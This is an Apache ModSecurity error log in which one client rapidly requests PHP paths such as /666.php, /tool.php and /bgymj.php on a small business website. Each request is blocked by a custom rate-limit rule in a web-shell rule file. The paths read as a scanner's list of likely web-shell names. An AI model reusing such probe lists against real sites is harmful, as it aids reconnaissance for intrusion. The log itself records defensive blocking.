[Wed Apr 15 19:00:22.492477 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:8978] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vxkBGUpjaWntNYq1crgAAAAs"]
[Wed Apr 15 19:00:23.116499 2026] [:error] [pid 30958:tid 31020] [client 51.120.68.159:35691] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vx8eG3wSKTO7NWFGHxQAAAMQ"]
[Wed Apr 15 19:00:23.126397 2026] [:error] [pid 30956:tid 30975] [client 51.120.68.159:35703] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vx0BGUpjaWntNYq1csAAAAA8"]
[Wed Apr 15 19:00:23.784573 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:58479] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vx3g-gnM2Ga0cGAD6EAAAARM"]
[Wed Apr 15 19:00:23.871730 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:15973] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vx3g-gnM2Ga0cGAD6EQAAARU"]
[Wed Apr 15 19:00:24.405812 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:13234] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyHg-gnM2Ga0cGAD6FAAAAQI"]
[Wed Apr 15 19:00:24.439636 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:39678] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9vyHg-gnM2Ga0cGAD6FQAAARg"]
[Wed Apr 15 19:00:25.049950 2026] [:error] [pid 30958:tid 31019] [client 51.120.68.159:42569] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyceG3wSKTO7NWFGHywAAAMM"]
[Wed Apr 15 19:00:25.065434 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:20556] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyceG3wSKTO7NWFGHzAAAAM8"]
[Wed Apr 15 19:00:25.619655 2026] [:error] [pid 30958:tid 31017] [client 51.120.68.159:20186] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyceG3wSKTO7NWFGHzwAAAME"]
[Wed Apr 15 19:00:25.625828 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:22800] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyceG3wSKTO7NWFGH0AAAANc"]
[Wed Apr 15 19:00:26.235296 2026] [:error] [pid 30957:tid 30990] [client 51.120.68.159:17488] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyn5gwVEVXHfVSipqkwAAAEE"]
[Wed Apr 15 19:00:26.418406 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:35705] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vyng-gnM2Ga0cGAD6GgAAAQQ"]
[Wed Apr 15 19:00:26.803526 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:39630] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9vyn5gwVEVXHfVSipqlQAAAEA"]
[Wed Apr 15 19:00:26.965025 2026] [:error] [pid 30957:tid 31005] [client 51.120.68.159:26530] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vyn5gwVEVXHfVSipqlwAAAFA"]
[Wed Apr 15 19:00:27.410441 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:42564] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vy8eG3wSKTO7NWFGH1wAAAM4"]
[Wed Apr 15 19:00:27.525403 2026] [:error] [pid 30958:tid 31024] [client 51.120.68.159:35657] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vy8eG3wSKTO7NWFGH2AAAAMg"]
[Wed Apr 15 19:00:27.932750 2026] [:error] [pid 30957:tid 30998] [client 51.120.68.159:13236] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vy35gwVEVXHfVSipqmAAAAEk"]
[Wed Apr 15 19:00:28.106698 2026] [:error] [pid 30957:tid 30994] [client 51.120.68.159:39662] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vzH5gwVEVXHfVSipqmgAAAEU"]
[Wed Apr 15 19:00:28.582446 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:11717] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vzBcEkLCmvF0fjDejjwAAAIg"]
[Wed Apr 15 19:00:28.670161 2026] [:error] [pid 30957:tid 30999] [client 51.120.68.159:51078] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vzH5gwVEVXHfVSipqnAAAAEo"]
[Wed Apr 15 19:00:29.221310 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:11676] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vzRcEkLCmvF0fjDejkgAAAJc"]
[Wed Apr 15 19:00:29.387462 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:17485] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9vzRcEkLCmvF0fjDejlAAAAIU"]
[Wed Apr 15 19:00:29.773782 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:22828] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vzUBGUpjaWntNYq1ctwAAAAs"]
[Wed Apr 15 19:00:29.973083 2026] [:error] [pid 30956:tid 30976] [client 51.120.68.159:8999] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vzUBGUpjaWntNYq1cuAAAABA"]
[Wed Apr 15 19:00:30.329511 2026] [:error] [pid 30957:tid 31004] [client 51.120.68.159:32015] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vzn5gwVEVXHfVSipqnwAAAE8"]
[Wed Apr 15 19:00:30.518967 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:17528] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vzhcEkLCmvF0fjDejmwAAAI4"]
[Wed Apr 15 19:00:31.031979 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:32043] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9vz35gwVEVXHfVSipqogAAAFc"]
[Wed Apr 15 19:00:31.131963 2026] [:error] [pid 30958:tid 31035] [client 51.120.68.159:58485] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vz8eG3wSKTO7NWFGH3gAAANM"]
[Wed Apr 15 19:00:31.566422 2026] [:error] [pid 30957:tid 31013] [client 51.120.68.159:13225] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9vz35gwVEVXHfVSipqpQAAAFg"]
[Wed Apr 15 19:00:31.677009 2026] [:error] [pid 30957:tid 31001] [client 51.120.68.159:20595] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9vz35gwVEVXHfVSipqpgAAAEw"]
[Wed Apr 15 19:00:32.166817 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:47394] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9v0MeG3wSKTO7NWFGH4gAAANc"]
[Wed Apr 15 19:00:32.221792 2026] [:error] [pid 30958:tid 31023] [client 51.120.68.159:58450] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9v0MeG3wSKTO7NWFGH4wAAAMc"]
[Wed Apr 15 19:00:32.753215 2026] [:error] [pid 30958:tid 31033] [client 51.120.68.159:51121] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9v0MeG3wSKTO7NWFGH5QAAANE"]
[Wed Apr 15 19:00:32.780703 2026] [:error] [pid 30958:tid 31022] [client 51.120.68.159:9010] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9v0MeG3wSKTO7NWFGH5gAAAMY"]
[Wed Apr 15 19:00:33.336340 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:35710] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9v0RcEkLCmvF0fjDejqQAAAJU"]
[Wed Apr 15 19:00:33.412435 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:22823] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v0Xg-gnM2Ga0cGAD6KQAAARE"]
[Wed Apr 15 19:00:33.908942 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:20209] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9v0Xg-gnM2Ga0cGAD6LQAAARY"]
[Wed Apr 15 19:00:34.019069 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:51098] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v0ng-gnM2Ga0cGAD6LgAAAQA"]
[Wed Apr 15 19:00:34.509373 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:17487] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v0kBGUpjaWntNYq1cugAAABE"]
[Wed Apr 15 19:00:34.585527 2026] [:error] [pid 30956:tid 30982] [client 51.120.68.159:51103] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v0kBGUpjaWntNYq1cvAAAABY"]
[Wed Apr 15 19:00:35.116576 2026] [:error] [pid 30956:tid 30970] [client 51.120.68.159:20573] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v00BGUpjaWntNYq1cvwAAAAo"]
[Wed Apr 15 19:00:35.130519 2026] [:error] [pid 30956:tid 30962] [client 51.120.68.159:26527] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v00BGUpjaWntNYq1cwAAAAAI"]
[Wed Apr 15 19:00:35.685729 2026] [:error] [pid 31053:tid 31075] [client 51.120.68.159:32034] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v0xcEkLCmvF0fjDejtgAAAJM"]
[Wed Apr 15 19:00:35.698148 2026] [:error] [pid 30956:tid 30978] [client 51.120.68.159:11666] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v00BGUpjaWntNYq1cwwAAABI"]
[Wed Apr 15 19:00:36.231264 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:32022] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9v1Hg-gnM2Ga0cGAD6NQAAAQs"]
[Wed Apr 15 19:00:36.236609 2026] [:error] [pid 37370:tid 37377] [client 51.120.68.159:32008] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1Hg-gnM2Ga0cGAD6NgAAAQU"]
[Wed Apr 15 19:00:36.779751 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:20557] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1Hg-gnM2Ga0cGAD6OQAAAQo"]
[Wed Apr 15 19:00:36.827201 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:16758] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1Hg-gnM2Ga0cGAD6OgAAARA"]
[Wed Apr 15 19:00:37.313426 2026] [:error] [pid 31053:tid 31072] [client 51.120.68.159:54471] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1RcEkLCmvF0fjDejvwAAAJA"]
[Wed Apr 15 19:00:37.377654 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:29835] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1X5gwVEVXHfVSipqrQAAAFM"]
[Wed Apr 15 19:00:37.870898 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:46994] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v1Xg-gnM2Ga0cGAD6PwAAAQI"]
[Wed Apr 15 19:00:37.981041 2026] [:error] [pid 37370:tid 37385] [client 51.120.68.159:12058] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1Xg-gnM2Ga0cGAD6QAAAAQ0"]
[Wed Apr 15 19:00:38.440971 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:16734] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v1ng-gnM2Ga0cGAD6QwAAAQs"]
[Wed Apr 15 19:00:38.560707 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:39653] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9v1hcEkLCmvF0fjDejxQAAAIU"]
[Wed Apr 15 19:00:39.039252 2026] [:error] [pid 37370:tid 37387] [client 51.120.68.159:15939] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9v13g-gnM2Ga0cGAD6RgAAAQ8"]
